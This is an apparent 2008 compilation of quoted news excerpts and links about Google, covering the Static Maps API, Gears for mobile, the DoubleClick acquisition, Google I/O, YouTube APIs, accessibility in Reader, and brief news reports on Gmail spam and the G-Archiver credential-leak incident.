"The Google Static Maps API provides a simpler way to add maps to your website. Rather than use JavaScript, the Google Static Maps API creates map images on the fly via simple requests to the Static Maps service with HTTP requests. No JavaScript, no overhead. Just create a special URL as the src attribute within an <img> tag and let the Static Maps service create your image."
http://googlemapsapi.blogspot.com/2008/02/google-maps-without-scripting.html
Google Static Maps API
February 22, 2008
"Google released what they call the Static Maps API. Not unlike the previous Google Charts API, this is basically just a parametrized image URL – the light-weight* sibling of the JavaScript Maps API."
"At first look, the Static Maps API seems like a nice alternative to the full-blown JavaScript API – it's not interactive, but a little more accessible."
"*However, there's a "query limit" of "1000 unique image requests per user per day," Google says (disclaiming that "additional requests of an identical image, in general, do not count towards this limit beyond the original request"). It's not made 100% clear how Google counts this, but depending on the type of use this may mean you need to add caching."
http://blogoscoped.com/archive/2008-02-22-n75.html
New Static API Takes the Work Out of Google Maps
February 22, 2008
"If you'd love to have some maps on your site, but the complexity of the Google Maps API gives you a headache, Google has come up with another option — the new Static Maps API."
"Google’s static maps are just images that require no Javascript or other dynamic tools to work. The images are especially handy for mobile sites or other situation where Javascript isn’t practical."
"The new API is very similar in practice to the recently-launched charts API — you just need to send a few parameters in a specially crafted URL."
http://blog.wired.com/monkeybites/2008/02/new-static-api.html
Static Maps API Developer's Guide
"Welcome to the developer documentation for the Google Static Maps API! The Google Static Maps API lets you embed a Google Maps image on your webpage without requiring JavaScript or any dynamic page loading. The Google Static Map service creates your map based on URL parameters sent through a standard HTTP request and returns the map as an image you can display on your web page!"
"Note: the Google Static Maps API requires a Maps API key. If you haven't already done so, sign up for a free API key."
http://code.google.com/apis/maps/documentation/staticmaps/
G-Archiver Scam?
March 10, 2008
"Coding Horror reports that Gmail backup software G-Archiver emails the user name and password of users to the apparent creator, John Terry. Dustin Brooks, who reverse-engineered the software and found the creator’s user name and password, was shocked to see 1,777 such messages with user credentials when logging in to John’s account. He then went ahead and deleted all these messages, changed John’s password, and contacted Google support."
"Coding Horror’s Jeff Attwood comments, “it’s difficult to imagine any scenario where this isn’t a completely malicious violation of people’s trust.” If these reports are true, it’s another lesson that in general it’s bad advice to provide your Google account credentials to any other place than google.com as seen in your browser address bar – not in desktop apps, not on other domains, not on new windows popping up claiming to be google.com etc."
http://blogoscoped.com/archive/2008-03-10-n53.html
A Question of Programming Ethics
http://www.codinghorror.com/blog/archives/001072.html
All-time greatest Google songs
March 6, 2008
"You have to admit, the word Google does have a musical ring to it. So musical, in fact, that the word has been woven into the lyrics of numerous songs, not that I knew that without doing a Google search."
"Fittingly enough, Google's YouTube site serves up a solid collection of music videos that feature Google in song titles, from parody "Just Google" (a take-off on Michael Jackson's 1980s hit "Beat It" or perhaps more accurately, Weird Al Yankovic's "Eat It") to the super cheery "GoogleHead" to a couple of love songs. What's more, YouTube itself is finding itself in lyrics, such as in Mariah Carey's new "Touch My Body"). Of course Google isn't the first tech company with a tuneful history: IBM proudly promoted "corporate fellowship" songs back in the day."
http://www.networkworld.com/community/node/25746
"Just Google" - a parody of "Beat It" by Michael Jackson
Written by Lex Friedman and Seth Brown, performed by Lex Friedman.
http://www.thefriedmans.net/blog/
http://www.youtube.com/watch?v=KO_ey4v1ccA
Googlehead Google Heads
"GoogleHeads" song by Laurie Berkner, produced by Kevin "Nalts" Nalty.
http://www.youtube.com/watch?v=PlJNV0TkxIg
Google Song by The Zach Tate Band
http://www.youtube.com/watch?v=GwfNvTy9AMM
The Google Song
Lyrics by Jeff Stambovsky.
http://stambosongs.blogspot.com/
http://www.networkworld.com/community/node/25746?page=0%2C2
The Googlers
Performed by Yariv Ben Yehuda.
http://agoogler.com/video.html
http://www.youtube.com/watch?v=OLh1jU6tgek
A song about Google
Lyrics by James McGraw, performed by Edward Evans.
http://www.youtube.com/watch?v=pJZi4A13abw
The Google Song
Performed by Sputniko.
http://www.myspace.com/hiromiozaki
http://www.youtube.com/watch?v=o9bEclzSBlU
Diane42 (Finding Love On Google) - Original Song
Written and performed by Mark Easley.
http://www.youtube.com/watch?v=OT9xDrqwUaY
More Spam Originating from Gmail
March 11, 2008
"The email security vendor MessageLabs published a report about the increasing number of spam messages originating from Gmail. "Analysis of spam shows that 4.6 percent of all spam originates from Web mail- based services and the proportion of spam from Gmail increased two- fold from 1.3 percent in January to 2.6 percent in February, mainly promoting adult-oriented websites. Yahoo! Mail was the most abused Web mail service responsible for sending 88.7 percent of all Web mail- based spam.""
"Spammers create accounts at free mail services like Yahoo Mail or Gmail, but to make the process more efficient, they need to automatize it. The major challenge is that most web mail providers use CAPTCHAs ("Completely Automated Public Turing test to tell Computers and Humans Apart") and they are difficult to solve automatically. Last month, Websense Security Labs discovered that spammers managed to create bots that automatically sign up for new Gmail accounts with a success rate of 20%."
http://googlesystem.blogspot.com/2008/03/more-spam-originating-from-gmail.html
Watch Out for Gmail Spam, Analyst Warns
March 10, 2008
"According to MessageLabs, the amount of spam originating from Gmail accounts doubled, from 1.3 percent in January to 2.6 percent in February."
"The amount of spam may not be significant in and of itself. But according to MessageLabs, it's proof positive that the CAPTCHAs (Completely Automated Public Turing Test to Tell Computers and Humans Apart) that guard the doors of new Gmail accounts have been broken."
"Relatively speaking, the amount of spam originating from Gmail accounts is a drop in the bucket, compared to the spam originating from Yahoo. In terms of all spam sent from free ad-supported email accounts, spam from Yahoo represented 88.7 percent in February, with 4.6 percent from Hotmail and 4.2 percent from MSN."
"What the new Gmail spam means, according to MessageLabs senior antispam technologist Matt Sergeant, is that unknown Gmail email now must be treated with the same care as any other. "Don't trust email from addresses that you don't know," he said."
http://www.pcmag.com/article2/0,2704,2274776,00.asp
Gmail CAPTCHA cracking leads to spam surge
March 12, 2008
"Spammers are creating huge numbers of Gmail accounts and using them to multiply their message blasts by circumventing the test Google uses to neutralize automated sign-up tools, according to a report from security vendor MessageLabs."
"MessageLabs monitored a surge in spam originating from Google Gmail accounts at the end of February. Matt Sergeant, a senior antispam technologist for the company, said the uptick indicates that spammers have found ways to sneak past CAPTCHAS (Completely Automated Public Turing Test To Tell Computers and Humans Apart), which are designed to defend against automated sign-up tools by requiring the user to enter the letters to validate that a human is requesting the account."
"Entities such as Yahoo and Hotmail also use CAPTCHAs, and if spammers have indeed found ways to circumvent the mechanism, it signals a dangerous trend for the Internet as a whole, Sergeant said."
""If spammers have solved the CAPTCHA problem that's bad news because so many sites use this to prevent spam and keep sites safe," he said. Also noteworthy is that the bad guys like to use big companies like Google as human shields, he said, adding, "You can't blacklist Gmail or Hotmail because so much legitimate email comes through those. Everyone gets upset if their email is blocked, so now you have to drop down into content filtering, which is more difficult than blocking an IP address.""
http://searchsecurity.techtarget.com.au/news/article.asp?DocID=1304779
We've officially acquired DoubleClick
March 11, 2008
"I'm pleased to share the news that we completed our acquisition of DoubleClick today. Although it's been nearly a year since we announced our intention to acquire DoubleClick last April, we are no less excited today about the benefits that the combination of our two companies will bring to the online advertising market."
"Because we have been waiting for regulatory approval for our acquisition, we've been limited by law in the extent to which we could conduct detailed integration planning to map our way forward. That work will begin in earnest now. Although we don’t have detailed plans to announce today, we will communicate regularly with you about our progress in integrating our two companies."
"As with most mergers, there may be reductions in headcount. We expect these to take place in the U.S. and possibly in other regions as well. We know that DoubleClick is built on the strength of its people. For this reason we’ll strive to minimize the impact of this process on all of our clients and employees."
"Advertisers and publishers who work with us have long asked that we complement our search and content-based text advertising with display advertising capabilities. DoubleClick gives Google the leading platform for display advertising, enabling us to rapidly bring advances to the market in technology and infrastructure that will dramatically improve the effectiveness, measurability and performance of digital media for publishers, advertisers and agencies."
"As the combination of Google and DoubleClick delivers better, more relevant display ads, we're also looking forward to delivering an improved online experience to users. Because user trust is paramount to the success of our business, users will continue to benefit from our commitment to protecting user privacy following this acquisition. And our scale and infrastructure mean that users will also be spending less time waiting for web pages to load. Ultimately, we believe that by combining our advertising network with DoubleClick's display ad serving products, and by investing resources in the display ad business, we will be able to help publishers and advertisers generate more revenue. That in turn will fuel the creation of even more rich and diverse content for Internet users everywhere."
http://googleblog.blogspot.com/2008/03/weve-officially-acquired-doubleclick.html
Google Closes Acquisition of DoubleClick
March 11, 2008
"Google Inc. announced today that it has completed its acquisition of DoubleClick, a company that offers online ad serving and management technology to advertisers, web publishers and ad agencies."
"Eric Schmidt, Google's Chairman and Chief Executive Officer, said, "We are thrilled that our acquisition of DoubleClick has closed. With DoubleClick, Google now has the leading display ad platform, which will enable us to rapidly bring to market advances in technology and infrastructure that will dramatically improve the effectiveness, measurability and performance of digital media for publishers, advertisers and agencies, while improving the relevance of advertising for users.""
http://www.google.com/intl/en/press/pressrel/20080311_doubleclick.html
European Commission OK's Google-DoubleClick Deal
March 11, 2008
"It was expected by now, but the European Commission has just approved Google’s $3.1 billion bid for ad serving firm DoubleClick. Even though competitors such as Microsoft and privacy advocates had both opposed the deal, the EC imposed no conditions. Its statement:"
"“The Commission’s in-depth market investigation found that Google and DoubleClick were not exerting major competitive constraints on each other’s activities and could, therefore, not be considered as competitors at the moment.”"
"I’m not entirely surprised. For all of Google’s power, especially in Europe, DoubleClick’s business looked rather different from Google’s, so it was tough to make the case that Google was swallowing a rival to concentrate its power. Fact is, Google is nowhere in online display ads, where both Microsoft and Yahoo have considerable leadership."
"Google also said it closed the deal. The news this morning has bouyed Google’s stock, which has been hammered by concerns that it may be feeling the slowing economy for the first time."
http://www.businessweek.com/the_thread/techbeat/archives/2008/03/european_commis.html
Google Closes DoubleClick Purchase After EU Approval
March 11, 2008
"Google Inc., owner of the most popular Internet search engine, closed its $3.1 billion acquisition of DoubleClick Inc. after European regulators said the purchase wouldn't harm competition in the online ad market."
"Google said it completed the deal after the European Commission, the 27-nation EU's antitrust authority in Brussels, approved the transaction without conditions. Google announced the purchase in April, part of a plan to bolster sales of Internet ads that display pictures and videos."
"``This gives Google an excellent foothold into the display- ad market and rounds out the products they can bring to their clients,'' Colin Gillis, an analyst at Canaccord Adams in New York, said in a telephone interview. He recommends buying Google shares, which he doesn't own."
"The EU approval is a blow to Yahoo! Inc. and Microsoft Corp., which expressed concerns that the combination would hurt competition in the $40.9 billion global online ad market. Microsoft complained to U.S. and EU officials that it may be shut out of the combined company's ad network."
"In December, the U.S. Federal Trade Commission approved the deal, the biggest in Google's nine-year history, without imposing asset sales or other conditions."
"``With DoubleClick, Google now has the leading display-ad platform,'' Google Chief Executive Officer Eric Schmidt said in a statement."
"Schmidt said in a blog posting that Google may cut an unspecified number of jobs at DoubleClick in the U.S. and possibly other regions."
"Google, based in Mountain View, California, generates revenue from selling text-based ads that appear next to search results. DoubleClick's two main products help Web publishers and companies manage online advertising. The software handles display ads, which include graphics or animation."
"Microsoft, the world's largest software maker, trails Google in Web search services. It said last April that Google's planned acquisition would give its rival more than 80 percent of the market for ads displayed on third-party Web sites."
"Microsoft plans to make its own acquisition in the online-ad market with a $44.6 billion bid for Yahoo. That offer, announced on Feb. 1, was rejected by Yahoo's board. Microsoft bought DoubleClick rival AQuantive Inc. for $6 billion last year."
"Google dominates the Internet search market with 58.5 percent. Microsoft has 9.8 percent, while Yahoo has 22.2 percent, according to January data from Reston, Virginia- based research firm ComScore Inc."
"The commission said in a statement that Google and DoubleClick ``were not exerting major competitive constraints on each other's activities and could, therefore, not be considered as competitors.''"
http://www.bloomberg.com/apps/news?pid=20601087&sid=aYJct3Y7jmxk&refer=home
DoubleClick
Links:
http://money.cnn.com/news/newsfeeds/articles/newstex/AFX-0013-23686402.htm
http://www.infoworld.com/article/08/03/11/EU-approves-Google-DoubleClick-deal_1.html
http://online.wsj.com/article/SB120524277833327159.html?mod=googlenews_wsj
http://www.pcmag.com/article2/0,2704,2275212,00.asp
http://www.iht.com/articles/2008/03/11/business/11googlefw.php
http://www.upi.com/NewsTrack/Business/2008/03/12/european_regulators_approve_google_deal/1564/
http://www.financialnews-us.com/?page=ushome&contentid=2350033581
http://www.betanews.com/article/Now_bigger_Google_prepares_to_get_smaller/1205338614
http://blogoscoped.com/archive/2008-03-11-n61.html
http://uk.reuters.com/article/internetNews/idUKL1187387120080311
http://ap.google.com/article/ALeqM5iHaHK1oU7z5nfrSaA7z0qxA5Tn3gD8VBAN4O0
Power up your mobile web applications
March 3, 2008
"If you've ever tried coding up a mobile client application, you've probably noticed that the huge variety of mobile operating systems makes it tough to build rich applications that work on every device. We face the same challenges. But what if developers could deploy applications directly to mobile browsers rather than develop native applications? That would simplify the development process, as developers could use the same coding skills to create mobile applications. Even better, if these mobile web applications could work offline, users would be able to use them when they are disconnected from the network."
"Today we're announcing the launch of Google Gears for mobile, a mobile browser extension for creating rich web applications for mobile devices. The first version is now available for Internet Explorer Mobile on Windows Mobile 5 and 6. It's a fully functional port of Google Gears v0.2 that can be used to develop offline capability into your mobile web applications. You can also create slick and responsive applications by hiding latency issues through controlled caching of data and storage of information between sessions. We're also working to bring Google Gears for mobile to Android and other mobile platforms with capable web browsers."
"There are already a handful of Windows Mobile web apps that use Google Gears for mobile, such as the personal finance service Buxfer and online applications provider Zoho."
http://google-code-updates.blogspot.com/2008/03/power-up-your-mobile-web-applications.html
Google Gears in Your Pocket
March 3, 2008
"Today is an exciting day for mobile application development, as it marks the first release of Google Gears on mobile devices. Gears is initially available for Internet Explorer on Windows Mobile 5 and 6."
"Consider the sad state of mobile app development today: you often need to write native code, and build against four different SDKs, using five different compilers. It's a daunting task, which explains why so few people write mobile applications."
"Web apps are an obvious way to deliver functionality across mobile devices. You can write your application just once. So why hasn't this approach been more widely adopted? Mobile browsers simply cannot do much of what you want applications to do."
"Enter Google Gears. The mission of Gears is to extend the capabilities of web browsers. It is clear to us that mobile browsers can benefit just as much as desktop ones. By adding features to mobile browsers, it becomes possible to deploy an increasing number of mobile applications as web apps."
"Furthermore, we plan to keep the Gears API consistent across all platforms. So as long as you account for browser differences (such as different screen sizes and DOM quirks), the rest of your application will "just work" across users' systems. You don't need to worry whether you are running on a mobile device or a desktop machine."
"We are very excited by the potential here. We expect mobile apps built using Google Gears to usher in a new trend in mobile application development."
http://gearsblog.blogspot.com/2008/03/google-gears-in-your-pocket.html
Shifting Google Gears to mobile
March 3, 2008
"Ever use a mobile web application and suddenly lose your cell connection? That's happened to me many times. If you've shared my pain, you'll be excited to know that we've launched Google Gears for mobile, which lets users access Gears-enabled mobile web apps offline. Initially available for Internet Explorer Mobile on Windows Mobile 5 and 6 devices, mobile web app developers have already started integrating Gears for mobile into their online services."
"Take Zoho and Buxfer, for example: Zoho is a powerful suite of web- based productivity applications, while Buxfer is an innovative personal finance web application that helps you track your money. With Google Gears for mobile integrated into mobile Zoho and Buxfer, you can now access these web applications even when your phone is disconnected from the mobile web. Stuck on a plane? No problem — you can still read your docs on your mobile with Zoho Writer Mobile offline. Want to buy that new plasma TV, but can't remember how much is in your account? Check your balance with Buxfer's mobile web application, even if there is no cell phone signal. Try them out on your Windows Mobile 6 device by going to m.buxfer.com or mobile.zoho.com."
"When you first access mobile Buxfer or Zoho Writer on your Windows Mobile device and go offline, you will be asked to install Google Gears for mobile. Once installed, Gears sits happily on your phone helping you stay connected to your data -- even when you lose your network connection."
"If you're a developer who's interested in creating mobile web applications using Google Gears for mobile you can find out more information on our developer site. Finally, if you're not a Windows Mobile user, stay tuned -- we're working to roll out Google Gears for other platforms with capable web browsers, including Android."
http://googlemobile.blogspot.com/2008/03/shifting-google-gears-to-mobile.html
Now Google Gears Takes Smartphone Apps Offline
March 4, 2008
"Google recently announced that Gears is available for the Windows Mobile platform. This will allow you to continue using your Web-based applications even when you lose your data connection or are in an offline mode. Now you have one less excuse for not getting your projects done on time."
"Any mobile professional knows how frustrating it is to be using a mobile Web-based application on your smartphone and lose your connection. Unless you have some great software controlling your packet session, you can lose where you were and have to start all over again. Or simply lose the ability to use the app. Either way, it's no fun. Well, for certain Windows Mobile 5 and 6 applications, that will no longer be a problem."
"Google has made its Gears software available for pocket Internet Explorer on WinMo 5 and 6, and is working on developing a mobile version of Gears for other browsers and other platforms, including Android. In order for Gears to work, though, the applications you're using need to be Gears-enabled."
http://www.informationweek.com/blog/main/archives/2008/03/now_google_gear.html
Google Gears Comes Out for Mobile
March 4, 2008
"Google's quest to keep browser-based applications running while offline is expanding to where it may be needed most: mobile devices."
"A version of the Google Gears browser extension software is available to developers, according to a Monday blog posting by Google Mobile Product Manager Charles Wiles. So far it's available only for Microsoft Internet Explorer Mobile on Windows Mobile 5 and 6 devices, but there will be versions for other platforms, including Google's own Android system, Wiles wrote."
"Google Gears, still in beta testing, lets people continue to work with Web-based applications after they've gone offline. Data and documents are saved on the device so users can see and work on them any time. Gears is already available for desktops and notebooks, with versions for Internet Explorer on Windows XP and Vista, and for Firefox on XP, Vista, MacOS and Linux. Gears for Mobile is a port of that software."
"Although notebook PC users sometimes fire up their systems where wired or wireless Internet access isn't available, users of handheld devices with cellular data services often are at the mercy of carrier networks where coverage comes in and out. Using Gears to cache data on devices, developers can create Web-based applications that not only are usable completely offline, but also are more responsive where networks suffer delays, according to Google."
http://www.pcworld.com/article/id,143114-c,google/article.html
Windows Mobile
http://www.microsoft.com/windowsmobile/default.mspx
Google Gears on Mobile Devices
"Google Gears is now available on Windows Mobile 5 and 6 devices."
"Mobile devices are, by their nature, often disconnected from the network. Even when connected, the latencies in data connections in mobile networks can make web applications sluggish. Google Gears gives developers the tools to overcome these obstacles."
"Google Gears works in exactly the same way on a Windows Mobile 5 or 6 device as it does on a desktop PC. If you've already written an application that uses Google Gears, your application will also work on a Windows Mobile 5 or 6 device. Except, of course, only within the limitations of that device. This means you need to consider things such as small screen and limited ability to input text as well as the limitations of the Document Object Model and CSS APIs present on mobile devices. Limitations of Windows Mobile 5 and 6 devices are discussed later in this document."
http://code.google.com/apis/gears/mobile.html
Google Gears API
What is the Google Gears API?
"Google Gears is an open source browser extension that lets developers create web applications that can run offline."
Features "Google Gears extends browsers to enable richer web applications. Gears modules include:"
"LocalServer Cache and serve application resources (HTML, JavaScript, images, etc.) locally"
"Database Store data locally in a fully-searchable relational database"
"WorkerPool Make your web applications more responsive by performing resource-intensive operations asynchronously"
http://code.google.com/apis/gears/
Google Gears API: LocalServer API
http://code.google.com/apis/gears/api_localserver.html
Google Gears API: Database Module API
http://code.google.com/apis/gears/api_database.html
Google Gears API: WorkerPool Module API
http://code.google.com/apis/gears/api_workerpool.html
Announcing Google I/O
March 10, 2008
"Its been about a year since I last blogged about a big Google developer event. During that time, we’ve seen a number of new technologies emerge which developers can use to build killer web applications. OpenSocial, Gears, and Android are a few that come to mind. But there is also a lot to learn if you really want to get the most out of these products."
"That’s why I’m excited to announce Google I/O, a two day developer gathering on May 28th & 29th in San Francisco. The purpose of the event is to bring developers together to learn about products, tools, and techniques which are moving the web forward as a platform."
"We've divided Google I/O into five topic areas: AJAX, APIs & Tools, Social, Geo, and Mobile. There's, of course, a focus on Google products, but the event won’t be limited to just Google APIs and developer tools. There is a lot of knowledge about web development in general at Google, and we’d like to share that expertise so that all applications on the web get better."
"Over the two days, Google engineers and other leading software developers will share their knowledge in breakout sessions, hands-on Code Labs, and Q&A Fireside Chats."
http://google-code-updates.blogspot.com/2008/03/announcing-google-io.html
Google To Hold Web 2.0 Developer Event
March 11, 2008
"Google on Tuesday said it will hold a developer event in May covering a variety of topics on Web 2.0 application development."
"Called Google I/O, the two-day event will be held May 28-29 at Moscone Center in San Francisco. Along with covering topics in application development in general, Google engineers will also discuss the company's developer products."
"Among the topic areas Google plans to cover are tools and techniques related to Ajax and JavaScript, both used in building user interfaces for Web 2.0 applications. In addition, the company is expected to discuss tools available for tapping into Web application programming interfaces. Google will also cover its toolkit during this session."
"Other topics include the new wave of APIs and frameworks, such as OpenSocial, for building applications to tap into social networks. On the mobile side, Google engineers will tackle technologies such as Android and Mobile Gears for building applications on the mobile Web."
"Finally, Google plans to cover geo and map applications, focusing on technologies ranging from keyhole markup language to Google Maps API. KML is an XML file format for managing the display of 3-D geospatial data."
http://www.informationweek.com/news/showArticle.jhtml?articleID=206903012
Google Launches New Conference: Google "Insertion Order" for Developers
March 11, 2008
"Google launched a new branded product today: the Google I/O Web Forward developer conference, a two-day, event for developers to share knowledge about Google's developer products in specific and Web application development in general. For marketers, I/O means insertion order; for developers, input/output."
"I/O (input/output) means communication between an information processing system (i.e. computer), and the world – possibly a human, or more likely in Google's scenario: an information processing system (computer)."
"Google I/O will be held May 28--29 at the Moscone Center in San Francisco. Five tracks will run simultaneously with several related to local mobile search and social search."
http://blog.searchenginewatch.com/blog/080311-085037
Google I/O
http://code.google.com/events/io/
Google I/O FAQ
http://code.google.com/events/io/faq.html
ARIA For Google Reader: In praise of timely information access
March 12, 2008
"From time to time, our own T.V. Raman shares his tips on how to use Google from his perspective as a technologist who cannot see -- tips that sighted people, among others, may also find useful."
"The advent of RSS and ATOM feeds, and the creation of tools like Google Reader for efficiently consuming content feeds, has vastly increased the amount of information we access every day. From the perspective of someone who cannot see, content feeds are one of the major innovations of the century. They give me direct access to the actual content without first having to dig through a lot of boilerplate visual layout as happens with websites. In addition, all of this content is now available from a single page with a consistent interface."
"Until now, I've enjoyed the benefits of Google Reader using a custom client. Today, we're happy to tell you that the "mainstream" Google Reader now works with off-the-shelf screenreaders, as well as Fire Vox, the self-voicing extension to Firefox. This brings the benefits of content feeds and feed readers to the vast majority of visually impaired users."
"Google Reader has always had complete keyboard support. With the accessibility enhancements we've added, all user actions now produce the relevant spoken feedback via the user's adaptive technology of choice. This feedback is generated using Accessible Rich Internet Applications (WAI-ARIA), an evolving standard for enhancing the accessibility of Web-2.0 applications. WAI-ARIA is supported at present by Firefox -- with future support forthcoming in other browsers. This is one of the primary advantages of building on open standards."
"We originally prototyped these features in Google Reader using the AxsJAX framework. After extensive testing of these enhancements, we've now integrated these into the mainstream product. See the related post on the Google Reader Blog for additional technical details."
http://googleblog.blogspot.com/2008/03/aria-for-google-reader-in-praise-of.html
Reader and ARIA: A new way to read
March 12, 2008
"We on the Reader team are delighted to have a guest post today from Google usability expert T.V. Raman, who has announced on the Google Blog that Reader now supports ARIA-powered screenreading. Our thanks go out to T.V. and to Charles Chen, fellow Googler and creator of FireVox, for their work in enabling more people than ever to benefit from Reader."
"Spoken output support in Google Reader is implemented using Accessible Rich Internet Applications (WAI-ARIA), an evolving standard for enhancing the accessibility of Web-2.0 applications. WAI-ARIA is supported at present by Firefox --- with future support forthcoming in other browsers."
http://googlereader.blogspot.com/2008/03/reader-and-aria-new-way-to-read.html
About Fire Vox
"Fire Vox is an open source, freely available talking browser extension for the Firefox web browser. Think of it as a screen reader that is designed especially for Firefox."
http://firevox.clcworld.net/about.html
Accessible Rich Internet Applications (WAI-ARIA) Version 1.0
W3C Working Draft 4 February 2008 "Accessibility of Web content to people with disabilities requires semantic information about widgets, structures, and behaviors, in order to allow Assistive Technologies to make appropriate transformations. This specification provides an ontology of roles, states, and properties that set out an abstract model for accessible interfaces and can be used to improve the accessibility and interoperability of Web Content and Applications. This information can be mapped to accessibility frameworks that use this information to provide alternative access solutions. Similarly, this information can be used to change the rendering of content dynamically using different style sheet properties. The result is an interoperable method for associating behaviors with document-level markup."
http://www.w3.org/TR/2008/WD-wai-aria-20080204/
AxsJAX - Access-Enabling AJAX
"AJAX techniques have helped Web developers create live applications within Web browsers. The AxsJAX framework helps inject accessibility features into these applications so that users of adaptive technologies such as screen readers and self-voicing browsers experience the same level of interactivity that is now taken for granted by users of Web 2.0 applications."
http://code.google.com/p/google-axsjax/
YouTube and TiVo get together
March 12, 2008
"TiVo customers will be able to watch YouTube clips on their television sets later this year."
"Alviso's TiVo said Wednesday it had worked out an agreement with YouTube to access its clips through its broadband-connected digital video recorders, that is, the TiVo Series3 and the new HD TiVo."
"It didn't disclose when the new service would launch."
"Customers will be able to search and watch YouTube videos, as well as log into their YouTube account and access their favorite clips."
"TiVo is not the only set-top box to bring YouTube to the television set. YouTube videos are also available through the Apple TV. Some television makers are also developing sets that connect directly to the Internet and services such as YouTube."
http://www.sfgate.com/cgi-bin/blogs/sfgate/detail?blogid=19&entry_id=24912
TiVo among adopters of YouTube tools
March 13, 2008
"Google's YouTube on Wednesday released tools that will let Web sites more easily tap into its millions of Internet videos while also converging them with television sets and video games."
"One of the more significant companies to say that they have embraced the upgrade is TiVo which, within about six months, will make it possible for users of many of its broadband-connected DVRs to view YouTube video on TV screens."
"TiVo said that owners of its Series 3 and TiVo HD boxes will be able to stream and bookmark favorite YouTube videos, but not store them as if they were recorded TV shows."
"YouTube becomes one of about 40 partners that TiVo has lined up to deliver Internet content to its DVRs, the most significant being Amazon.com's Unbox digital movie service."
"TiVo said that its users have downloaded 16 million videos from its 40-odd partners."
"While there are 4 million TiVo subscribers, only 800,000 own stand- alone, broadband-enabled TiVo boxes, and TiVo won't say how many of those devices are the Series 3 and TiVo HD models."
"YouTube has a similar arrangement with Apple and its Apple TV set-top box, though executives at Apple and YouTube won't say whether YouTube videos are a popular draw or not."
"YouTube is the most popular video site on the Internet, according to Nelsen//NetRatings, which reported 67.5 million unique users to the site in the U.S. during January. Users post about 10 hours of video to YouTube every second, according YouTube."
Links:
http://www.nytimes.com/2008/03/12/technology/12cnd-tivo.html
http://www.bizjournals.com/eastbay/stories/2008/03/10/daily34.html
http://www.stuff.co.nz/stuff/4437891a28.html
http://news.xinhuanet.com/english/2008-03/13/content_7778678.htm
http://ap.google.com/article/ALeqM5hSwri4kFohFzHEYiZkUrCZEqf-TQD8VC44182
YouTube APIs for developers and for... iguana enthusiasts
March 11, 2008
"We've just added upload, write, and authentication functionality to the YouTube Data API. Brand new player APIs and tools are also now available."
"That means that if, for example, you run a site just for iguana enthusiasts, your users can upload videos of JubJub to their YouTube accounts, post comments, create iguana playlists, and more, all without leaving your site. And with the new player APIs and the new chromeless player, you can completely customize and skin the YouTube embedded player to match the look and feel of your site"
http://google-code-updates.blogspot.com/2008/03/youtube-apis-for-developers-and-for.html
Something to write home about
March 11, 2008
"Since the initial YouTube Data API launch back in August, the team has been hard at work completing a whole suite of tools and features to make it possible for you to fully integrate YouTube into your sites and applications."
"Here's the sound byte: We now support upload, other write operations, and internationalized standard feeds. (And there was much rejoicing!) We're also introducing player APIs and a chromeless player -- a barebones player SWF that's fully customizable and controllable using the player APIs."
"The Java client library and the PHP client library (in the Zend Framework 1.50RC2 release) have both been updated, as well as the respective developer guides."
http://apiblog.youtube.com/2008/03/something-to-write-home-about.html
YouTube's Updated API Offers More Flexibility
March 12, 2008
"YouTube updated its API to include some major new features that will help it become an even more interesting solution for publishers and social networks."
"The first important addition is the support for authentication, which now allows users to upload videos, edit metadata, post comments, rate videos from other sites or from desktop applications. That means someone could create a better interface for YouTube and leverage the existing users and their data."
"Another useful API lets you control an embedded YouTube player using JavaScript or ActionScript. As this example shows, you can pause a video, skip to a certain frame, change the volume using some simple code. YouTube no longer restricts you to use their player: the chromeless player lets you add personalized controls, menus, but you can't remove the branding."
http://googlesystem.blogspot.com/2008/03/youtubes-updated-api-offers-more.html
YouTube tools to let web developers create their own YouTubes
March 12, 2008
"YouTube, Google Inc.'s popular video-sharing site, unveiled a new set of tools for web developers on Wednesday that will allow them to create YouTube videos on their own web pages."
"The video-sharing site said users and developers will have access to YouTube's video library and the underlying video hosting and streaming infrastructure."
"Writing on YouTube's blog, product manager Jim Patterson said the move was part of a natural evolution for the website."
""YouTube has grown into much more than a website," he said. "It has become an open, general purpose, video services platform, available for use by just about any third-party website, desktop application, or consumer device.""
"Users and web developers have been able to upload, embed and edit videos onto YouTube and then host them on their own websites."
"The new tools, called APIs, or Application Programmer Interfaces, allow users to access video and their YouTube accounts without leaving their sites."
"They also let developers access "chromeless" video windows with the play and pause button and YouTube logo removed, allowing developers to rebrand the videos with their own logos."
http://www.cbc.ca/technology/story/2008/03/12/tech-youtube-open.html
YouTube APIs and Tools
http://code.google.com/apis/youtube/overview.html
YouTube JavaScript Player API Reference
http://code.google.com/apis/youtube/js_api_reference.html
YouTube Chromeless Player Reference
http://code.google.com/apis/youtube/chromeless_player_reference.html
YouTube finds its way into Spore
March 12, 2008
"It's no secret that YouTube has embraced user generated video since its inception. Armed with a video camera and an Internet connection, anyone is able to contribute. We're seeing more and more videogames starting to incorporate user generated content into the gaming experience -- so we often ask ourselves, why not similarly empower gamers to share their experiences with each other?"
"Enter Spore, the much anticipated game from Electronic Arts and Maxis, which lets players create their own alien creatures, import their creations into the game world, and upload video of their creatures' moves directly to YouTube from within the game. Additionally, all of the YouTube community can enjoy: Spore's own YouTube Channel, which will showcase the most popular videos of creatures fans and gamers create."
"The creature creator is core to the Spore game experience, and seamlessly integrates with YouTube. It will be released within the commercial game and as a standalone free download for PCs prior to the game’s launch. We anticipate that millions of creatures will be created, many of which will be cropping up on YouTube."
"Spore’s integration with YouTube was made possible using the latest release of the YouTube Data API, which is now publicly available and open to all developers. Here's a glimpse of what you can create"
http://googleblog.blogspot.com/2008/03/youtube-finds-its-way-into-spore.html
YouTube
Spore
Electronic Arts
Our solutions for ad serving
March 13, 2008
"Earlier this week, we completed our acquisition of DoubleClick. Together, we're now focused on building a full suite of products and tools that help publishers of all sizes improve productivity, manage their inventory, generate additional revenue opportunities and save time so they can focus on what they do best -- creating great content and delivering an exceptional experience to their users."
"Today, we're announcing a new tool for publishers with the beta launch of Google Ad Manager. Directed at addressing the ad management and serving needs of publishers with smaller sales teams, Google Ad Manager is a free, hosted ad and inventory management tool that can help publishers sell, schedule, deliver and measure their directly- sold and network-based ad inventory. It offers an intuitive and simple user experience with Google speed and a tagging process so publishers can spend more time working with their advertisers and less time on their ad management solution. And by providing detailed inventory forecasts and tracking at a very granular level, Ad Manager helps publishers maximize their inventory sell-through rates."
"Google Ad Manager effectively complements the DoubleClick Revenue Center, which is focused on publishers with larger sales teams. We're excited to add DART for Publishers to our suite of products, and we're committed to the continued development and enhancement of DoubleClick's offerings."
